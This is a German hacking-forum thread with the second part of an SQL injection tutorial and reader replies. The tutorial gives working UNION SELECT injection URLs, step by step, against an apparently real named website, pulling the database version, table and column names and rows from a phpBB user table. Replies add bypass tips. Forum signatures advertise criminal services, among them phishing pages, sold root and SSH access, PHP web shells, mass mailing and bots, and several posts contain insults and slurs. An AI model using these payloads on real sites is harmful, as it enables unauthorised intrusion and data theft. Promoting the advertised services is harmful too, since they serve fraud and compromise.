SQL Injection Tutorial ~ By Staix~ Teil 2

    • SQL Injection Tutorial ~ By Staix~ Teil 2

      SQL Injection Tutorial ~ By Staix~ Teil 2
      4.Union+Select, Version, Database
      -Nun haben wir die Column-Anzahl dank dem Command "Order+By" herausgefunden.
      Column-Anzahl = 8

      Diese reien wir nun erstmal an die URL an, undzwar indem wir hinten an die URL den SQL-Command "+Union+Select+Anzahl" dranhängen.
      Anzahl steht hierbei wieder für die Anzahl an Columns, die wir zuvor ermittelt haben.
      Diese wird aber nicht als einzelne Zahl angegeben. Es wird nähmlich jede zahl von 1 bis zur Maximalen Column-Anzahl angegeben.(In diesem Fall: 1,2,3,4,5,6,7,8)

      Testen wir es an unserem Beispiel:

      Quellcode

      1. http://modules.t-o-m-e.net/script.php?id=24+union+select+1,2,3,4,5,6,7,8--

      Nun werden die einzelnen Zahlen auf der Seite verteilt angezeigt, da der Text der Seite meistens Nervt, setzen wir ein MINUS hinter die ID, so wird diese Ungültig gemacht:

      Beispiel:
      Hier zu beachten ist das MINUS hinter der 24 von: "id=24"

      Quellcode

      1. http://modules.t-o-m-e.net/script.php?id=-24+union+select+1,2,3,4,5,6,7,8--


      Anstelle der Zahlen die wir nun auf der Seite sehen, können wir die MySQL-version, und die Database ausgeben lassen.
      Version-Befehl: "Version()"
      Database-Befehl: "Database()"

      Nun suchen wir uns eine Zahl, aus die wir sichtbar sehen/erkennen.
      Für dieses Beispiel nehme ich die 2.
      Um die Version auszulesen ersetzen wir in der URL die "2" durch den Version-Befehl: "version()"
      Beispiel:

      Quellcode

      1. http://modules.t-o-m-e.net/script.php?id=-24+union+select+1,version(),3,4,5,6,7,8--


      Nun wird uns auf dieser Seite folgendes Ausgegeben: 5.0.87
      Das bedeutet die MySQL-version ist: 5.0.87
      Uns interessiert immer nur die erste Zahl der Version. Ist diese 4 So haben wir es später schwerer die Tables,Columns auszulesen, da wir es dann selber erratenmüssten.
      Da diese Seite MySQL-Version: 5 besitzt können wir uns die Table_names automatisch ausgeben lassen.

      Das gleiche können wir auch mit dem Database-befehl tun, hierzu nehme ich wieder die "2" und ersetze sie durch den Database-Befehl: "database()"
      Beispiel:

      Quellcode

      1. http://modules.t-o-m-e.net/script.php?id=-24+union+select+1,database(),3,4,5,6,7,8--

      Der Database-Name dieser Seite ist, also: darkdb

      Den Database-Namen sollten wir uns nun irgendwo notieren, für die nächsten Schritte.


      5. Tables
      -Nun haben wir die Column-Anzahl, die Version, und den Database-Namen.
      Wenn die MySQL-Version: 5 ist, dann können wir uns die Table-Names ganz einfach automatisch ausgeben lassen.
      Indem wir unsere Zahl(In diesem Fall wieder "2") durch "group_concat(table_name)" ersetzen. Desweiteren gehen wir jetzt ans ENDE der URL, und gehen VOR die 2 MINUSE "--" und setzen dort folgendes ein: +from+information_schema.tables+where+table_schema=0x"Database-Hex"
      Database-Hex steht hierbei für den Hex-String des Database-Namen:
      Ich habe ein Kleines programm geschrieben welches den Database-Namen in einen Hex-String umwandelt.
      - - Einfach den Database-Namen(In diesem Fall: darkdb) oben in die Textbox eingeben, und den dann auftauchenden Hex-String oben Kopieren: 64:61:72:6b:64:62
      Wir entfernen noch die Doppelpunkte des Hex-String, dann haben wir folgenden String: 6461726b6462
      Nun setzen wir mal alles an einem Beispiel ein:

      Quellcode

      1. http://modules.t-o-m-e.net/script.php?id=-24+union+select+1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+where+table_schema=0x6461726b6462--

      Nun werden uns im NormalFall mehrere Table-Namen nebeneinander aufgelistet, diese sollten wir uns nun irgendwo Notieren.


      6. Columns
      -Nun suchen wir uns einen Table_Name aus, aus dem wir unsere weiteren Columns auslesen wollen:
      In diesem Beispiel nehme ich den Table: phpbb3acl_users -> Diesen lassen wir uns erstmal wieder als Hex-String ausgeben. Dies tun wir wieder mit dem Tool.
      Dann die Doppelpunkte noch entfernen, und wir haben folgenden Hex-String: 70687062623361636c5f7573657273
      Jetzt entfernen wir das "group_concat(table_name)" durch "group_concat(column_name)"
      Dann Entfernen wir vom vorherigen Schritt das "+from+information_schema.tables+where+table_schema=0x"Database-Hex" durch "+from+information_schema.columns+where+table_name=0x"Table-Hex"

      In unserem Beispiel sieht das folgendermaßen aus:

      Quellcode

      1. http://modules.t-o-m-e.net/script.php?id=-24+union+select+1,group_concat(column_name),3,4,5,6,7,8+from+information_schema.columns+where+table_name=0x70687062623361636c5f7573657273--


      Nun werden uns wieder einpaar Columns ausgegeben, diese sollten wir uns wieder Notieren.
      Ich nehme für unser Beispiel folgende Columns: user_id
      In diesem Table sind leider keine User_name, oder User_passwörter ,also nehme ich einfach user_id


      7. Daten
      -Nun haben wir einen Table haben, und einen Column den wir aus dem Table auslesen wollen.
      Um uns die Daten ausgeben zu lassen, ändern wir "group_concat(column_name)" durch "concat(user_id)"
      Von unserem vorherigen Schritt ersetzen wir: "+from+Database.TableName"
      Database steht hierbei für den normalen Namen der Database, also: darkdb
      TableName steht hierbei für den normalen TableName den wir uns ausgesucht haben, also: phpbb3acl_users

      Nun testen wir es an unserem Beispiel:

      Quellcode

      1. http://modules.t-o-m-e.net/script.php?id=-24+union+select+1,concat(user_id),3,4,5,6,7,8+from+darkdb.phpbb3acl_users--

      Nun wird uns die User_id der ersteln zeile ausgegeben, in diesem Fall: 7
      Um wie in einer Liste hoch unt runter wählen zu können hängen wir hinter dem: "+from+darkdb.phpbb3acl_users" noch ein "+limit0,1"
      Das sieht dann so aus:

      Quellcode

      1. http://modules.t-o-m-e.net/script.php?id=-24+union+select+1,concat(user_id),3,4,5,6,7,8+from+darkdb.phpbb3acl_users+limit+0,1--

      Wenn wir nun die 0 zu einer 1 ändern, gehen wir eine zeile nach oben, und wir lesen die nächste "User_id" aus wenn wir es auf 2 machen wieder eine neue, bis es irgendwann keine mehr gibt.

      Sollten wir mehrere Columns aufeinmal auslesen wollen, in diesem Fall z.b (user_id und forum_id)
      dann ersetzen wir einfach: "concat(user_id)" durch "concat(user_id,0x3a,forum_id)"
      das 0x3a steht hierbei für ein Doppelpunkt, so wird die User_id von der forum_id durch ein doppelpunkt getrennt.

      8. Danke fürs Lesen
      - - - So, danke fürs Lesen, ich hoffe euch hat es geholfen.
      Zur Not, bin ich ja noch als Support da, und ihr könnt mich jederzeit Fragen :P

      Credits goes to Staix(Me :D)



      Downloadlink des StringToHex-Tool´s:
      StringToHex.rar

      Feedback PLS!!!
      [SIZE="4"]ICQ: 622571[/SIZE]

      Loads(Vics/Bots),PSC

      PSC,Steam,MSN,Yahoo,Ebay,Amazon,Youtube

      Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von Staix ()

    • SQL Injection Tutorial ~ By Staix~ Teil 2

      Nützliches Tool als Firefox Addon: Hackbar
      Zum Tutorial: relativ simpel erklärt, einzige Problem bei den SQL-Injection Tutorials ist, dass niemand dadurch wirklich Sql lernt sondern lediglich die Standard Union Select Sql-Injection....

      Vorallem merkt man das bei soetwas:
      AM ENDE WERDEN IMMER 2 MINUSE DRAN GEHÄNGT IN JEDEM SCHRITT DEN WIR NOCH MACHEN WERDEN!!!


      Wieso werden da 2 MinuSSE drangehängt? Weil's ein Kommentar ist, und des öfteren von Nöten ist für ein gültiges Query. Vll hättest du auf die anderen Kommentarmöglichkeiten auch noch eingehen sollen ( es sind 2 ;P )

      Es bietet sich btw an, anstatt soetwas wie "--" besser "-- f" zu benutzen, hat sich einfach bewährt :)

      Ansonsten vll auf die Charset Geschichte mit Hex,Unhex eingehen....

      Und vll auch erklären wieso man dabei Union Select benutzt , und was das überhaupt macht. Denn das werden wahrscheinlich nur 1/20 Leuten die das Tutorial lesen wissen und wahrscheinlich interissiert es auch niemanden.

      Aber dieses Basic Sqli Scheiß lernt man innerhalb ner halben Stunde, da seid ihr dann noch keine Tollen 13HAXX0R37.... :)

      Aber erfüllt den Zweck, bringt den Kids bei ne Seite zu exploiten, ohne dass sie dabei etwas lernen (Y)

      ~ViNCENT

      Edit: Aso, rechtschreibung könnteste nochmal überarbeiten =)
      Massmailing Service ( Ich verschicke euch egal wieviele Mails, egal wohin )
      [b] Linux Roots ( SSH Zugang) | Oder auch nur PHP-Shells
      [b] Hacking Service - Security Analyse einer Seite nach Wahl
      [b]Faketools / Phishingseiten auf Anfrage
      PSC / Ukash


      Scheiß auf die Fremdenlegion, komm zur AntiHurensohnFront

      Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von ViNCENT ()

    • SQL Injection Tutorial ~ By Staix~ Teil 2

      Nützliches Tool als Firefox Addon: Hackbar
      Zum Tutorial: relativ simpel erklärt, einzige Problem bei den SQL-Injection Tutorials ist, dass niemand dadurch wirklich Sql lernt sondern lediglich die Standard Union Select Sql-Injection....

      Vorallem merkt man das bei soetwas:
      AM ENDE WERDEN IMMER 2 MINUSE DRAN GEHÄNGT IN JEDEM SCHRITT DEN WIR NOCH MACHEN WERDEN!!!


      Wieso werden da 2 MinuSSE drangehängt? Weil's ein Kommentar ist, und des öfteren von Nöten ist für ein gültiges Query. Vll hättest du auf die anderen Kommentarmöglichkeiten auch noch eingehen sollen ( es sind 2 ;P )

      Es bietet sich btw an, anstatt soetwas wie "--" besser "-- f" zu benutzen, hat sich einfach bewährt :)

      Ansonsten vll auf die Charset Geschichte mit Hex,Unhex eingehen....

      Und vll auch erklären wieso man dabei Union Select benutzt , und was das überhaupt macht. Denn das werden wahrscheinlich nur 1/20 Leuten die das Tutorial lesen wissen und wahrscheinlich interissiert es auch niemanden.

      Aber dieses Basic Sqli Scheiß lernt man innerhalb ner halben Stunde, da seid ihr dann noch keine Tollen 13HAXX0R37.... :)

      Aber erfüllt den Zweck, bringt den Kids bei ne Seite zu exploiten, ohne dass sie dabei etwas lernen (Y)

      ~ViNCENT

      Edit: Aso, rechtschreibung könnteste nochmal überarbeiten =)
      Massmailing Service ( Ich verschicke euch egal wieviele Mails, egal wohin )
      [b] Linux Roots ( SSH Zugang) | Oder auch nur PHP-Shells
      [b] Hacking Service - Security Analyse einer Seite nach Wahl
      [b]Faketools / Phishingseiten auf Anfrage
      PSC / Ukash


      Scheiß auf die Fremdenlegion, komm zur AntiHurensohnFront

      Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von ViNCENT ()

    • SQL Injection Tutorial ~ By Staix~ Teil 2

      HUGO schrieb:

      Nicht immer do negativ ViNCENT :P


      Was heißt negativ? Ich habs doch gelobt? Es erfüllt seinen Zweck und erklärt wie man Daten via SqlInjection über GetRequests bekommt. Aber es tut eben nicht mehr und nicht weniger. Es lernt niemand etwas wirklich dabei außer verschiedene Strings an ne URL zu hängen... den Leuten sollte aber eher beigebracht werden, wieso man diesen und jenen Befehl benutzt.

      ~ViNCENT
      Massmailing Service ( Ich verschicke euch egal wieviele Mails, egal wohin )
      [b] Linux Roots ( SSH Zugang) | Oder auch nur PHP-Shells
      [b] Hacking Service - Security Analyse einer Seite nach Wahl
      [b]Faketools / Phishingseiten auf Anfrage
      PSC / Ukash


      Scheiß auf die Fremdenlegion, komm zur AntiHurensohnFront
    • SQL Injection Tutorial ~ By Staix~ Teil 2

      HUGO schrieb:

      Nicht immer do negativ ViNCENT :P


      Was heißt negativ? Ich habs doch gelobt? Es erfüllt seinen Zweck und erklärt wie man Daten via SqlInjection über GetRequests bekommt. Aber es tut eben nicht mehr und nicht weniger. Es lernt niemand etwas wirklich dabei außer verschiedene Strings an ne URL zu hängen... den Leuten sollte aber eher beigebracht werden, wieso man diesen und jenen Befehl benutzt.

      ~ViNCENT
      Massmailing Service ( Ich verschicke euch egal wieviele Mails, egal wohin )
      [b] Linux Roots ( SSH Zugang) | Oder auch nur PHP-Shells
      [b] Hacking Service - Security Analyse einer Seite nach Wahl
      [b]Faketools / Phishingseiten auf Anfrage
      PSC / Ukash


      Scheiß auf die Fremdenlegion, komm zur AntiHurensohnFront
    • SQL Injection Tutorial ~ By Staix~ Teil 2

      ViNCENT schrieb:

      Wieso werden da 2 MinuSSE drangehängt? Weil's ein Kommentar ist, und des öfteren von Nöten ist für ein gültiges Query.


      Hatte ich ihn damals auch gefragt :) Aber auf nem anderen Board und keine Lust das wieder zu wiederholen.

      ViNCENT schrieb:

      Vll hättest du auf die anderen Kommentarmöglichkeiten auch noch eingehen sollen ( es sind 2 ;P )


      Es sind mehr als 2 ;)

      ViNCENT schrieb:

      Es bietet sich btw an, anstatt soetwas wie "--" besser "-- f" zu benutzen, hat sich einfach bewährt :)


      TRU!

      ViNCENT schrieb:

      Ansonsten vll auf die Charset Geschichte mit Hex,Unhex eingehen....


      Fehlt auch, jop.

      ViNCENT schrieb:

      Und vll auch erklären wieso man dabei Union Select benutzt , und was das überhaupt macht. Denn das werden wahrscheinlich nur 1/20 Leuten die das Tutorial lesen wissen und wahrscheinlich interissiert es auch niemanden.


      Hatte ich auch erwaehnt :>

      ViNCENT schrieb:

      Aber dieses Basic Sqli Scheiß lernt man innerhalb ner halben Stunde, da seid ihr dann noch keine Tollen 13HAXX0R37.... :)

      Aber erfüllt den Zweck, bringt den Kids bei ne Seite zu exploiten, ohne dass sie dabei etwas lernen (Y)


      Stimmt auch :)

      Vllt poste ich nachher mal meins, ist aber von Januar 2009 :p




      Spoiler anzeigen

      13speedtest37 schrieb:

      alle sagen, du bist ein spast, stimmt das? ich hab leider keine beweise dafür, aber ich habs einfach gehört und was ich höre, das glaube ich, da ich ja ein dummer spast bin, so wie du, du dummer hurensohn.
    • SQL Injection Tutorial ~ By Staix~ Teil 2

      ViNCENT schrieb:

      Wieso werden da 2 MinuSSE drangehängt? Weil's ein Kommentar ist, und des öfteren von Nöten ist für ein gültiges Query.


      Hatte ich ihn damals auch gefragt :) Aber auf nem anderen Board und keine Lust das wieder zu wiederholen.

      ViNCENT schrieb:

      Vll hättest du auf die anderen Kommentarmöglichkeiten auch noch eingehen sollen ( es sind 2 ;P )


      Es sind mehr als 2 ;)

      ViNCENT schrieb:

      Es bietet sich btw an, anstatt soetwas wie "--" besser "-- f" zu benutzen, hat sich einfach bewährt :)


      TRU!

      ViNCENT schrieb:

      Ansonsten vll auf die Charset Geschichte mit Hex,Unhex eingehen....


      Fehlt auch, jop.

      ViNCENT schrieb:

      Und vll auch erklären wieso man dabei Union Select benutzt , und was das überhaupt macht. Denn das werden wahrscheinlich nur 1/20 Leuten die das Tutorial lesen wissen und wahrscheinlich interissiert es auch niemanden.


      Hatte ich auch erwaehnt :>

      ViNCENT schrieb:

      Aber dieses Basic Sqli Scheiß lernt man innerhalb ner halben Stunde, da seid ihr dann noch keine Tollen 13HAXX0R37.... :)

      Aber erfüllt den Zweck, bringt den Kids bei ne Seite zu exploiten, ohne dass sie dabei etwas lernen (Y)


      Stimmt auch :)

      Vllt poste ich nachher mal meins, ist aber von Januar 2009 :p




      Spoiler anzeigen

      13speedtest37 schrieb:

      alle sagen, du bist ein spast, stimmt das? ich hab leider keine beweise dafür, aber ich habs einfach gehört und was ich höre, das glaube ich, da ich ja ein dummer spast bin, so wie du, du dummer hurensohn.
    • SQL Injection Tutorial ~ By Staix~ Teil 2

      J0hn.X3r schrieb:


      ViNCENT schrieb:


      Vll hättest du auf die anderen Kommentarmöglichkeiten auch noch eingehen sollen ( es sind 2 )


      Es sind mehr als 2 ;)


      Ach ja? Dann scheinst du 0-Day Kommentare zu kennen :8
      Laut MySQL Dokumentation gibt es 3 Kommentarstile, 1.) wie im Tutorial verwendet doppelte Bindestriche "--" , dann noch Das Rautezeichen "#" und zusätzlich eben " /* Kommentar */" für mehrzeilige Kommentare.

      Auch zu entnehmen aus der MySQL Dokumentation, also nenn mir doch die, die du noch kennst :)

      BTW: @ Staix, was ich vorhin via ICQ erläuterte wegen dem "-- f" , kannst du auch in der MySQL Dokumentation durchlesen, denn "--" gilt nur als Kommentar wenn dahinter ein Whitespace oder Steuerzeichen kommt. Deswegen schreibt man "-- f" weil die browser das Leerzeichen beim Aufruf sonst trimmen könnten.

      Nachzulesen @ j0hn / staix hier: dev.mysql.com/doc/refman/5.1/de/comments.html

      ~ViNCENT
      Massmailing Service ( Ich verschicke euch egal wieviele Mails, egal wohin )
      [b] Linux Roots ( SSH Zugang) | Oder auch nur PHP-Shells
      [b] Hacking Service - Security Analyse einer Seite nach Wahl
      [b]Faketools / Phishingseiten auf Anfrage
      PSC / Ukash


      Scheiß auf die Fremdenlegion, komm zur AntiHurensohnFront
    • SQL Injection Tutorial ~ By Staix~ Teil 2

      ViNCENT schrieb:

      Laut MySQL Dokumentation gibt es 3 Kommentarstile, 1.) wie im Tutorial verwendet doppelte Bindestriche "--" , dann noch Das Rautezeichen "#" und zusätzlich eben " /* Kommentar */" für mehrzeilige Kommentare.

      Auch zu entnehmen aus der MySQL Dokumentation, also nenn mir doch die, die du noch kennst :)



      Aber das sind doch dann 3?!

      Nr. 1: "/*"
      Nr. 2: "-- "
      Nr. 3: "#"




      Spoiler anzeigen

      13speedtest37 schrieb:

      alle sagen, du bist ein spast, stimmt das? ich hab leider keine beweise dafür, aber ich habs einfach gehört und was ich höre, das glaube ich, da ich ja ein dummer spast bin, so wie du, du dummer hurensohn.
    • SQL Injection Tutorial ~ By Staix~ Teil 2

      J0hn.X3r schrieb:

      Aber das sind doch dann 3?!

      Nr. 1: "/*"
      Nr. 2: "-- "
      Nr. 3: "#"


      Wer lesen kann ist klar im Vorteil :8

      Vll hättest du auf die anderen Kommentarmöglichkeiten auch noch eingehen sollen ( es sind 2 )


      Auch noch auf die anderen , jetzt mein zusatz, 2 Möglichkeiten eingehen sollten. Sprich die beiden anderen + die, die er benutzt hat .

      Simsala Bim uns Summa Summarum 1+2 = 3

      [/offtopic]

      ~ViNCENT
      Massmailing Service ( Ich verschicke euch egal wieviele Mails, egal wohin )
      [b] Linux Roots ( SSH Zugang) | Oder auch nur PHP-Shells
      [b] Hacking Service - Security Analyse einer Seite nach Wahl
      [b]Faketools / Phishingseiten auf Anfrage
      PSC / Ukash


      Scheiß auf die Fremdenlegion, komm zur AntiHurensohnFront
    • SQL Injection Tutorial ~ By Staix~ Teil 2

      jojo1234 schrieb:

      @ViNCENT
      wenn du meinst man lernt nicht wirklich was dabei (wo ich dir recht gebe) mach doch ein Tut wo man es auch lernt. Mit Beschreibung warum jetzt das und nicht das was es bewirkt usw.
      Aber ich denke dazu hat keiner Lust da es bestimmt sehr Komplex ist.


      Stell dir vor, das Tutorial wurde schon geschrieben (recht umfassend sogar): dev.mysql.com/doc/refman/5.1/de/index.html

      Eine nette Lektüre :8

      Wenn du nicht Bock hast, das ganze durchzugucken, schau zumindest nach den Befehlen wie union select und order by, und was sie bewirken etc... :)

      ~ViNCENT
      Massmailing Service ( Ich verschicke euch egal wieviele Mails, egal wohin )
      [b] Linux Roots ( SSH Zugang) | Oder auch nur PHP-Shells
      [b] Hacking Service - Security Analyse einer Seite nach Wahl
      [b]Faketools / Phishingseiten auf Anfrage
      PSC / Ukash


      Scheiß auf die Fremdenlegion, komm zur AntiHurensohnFront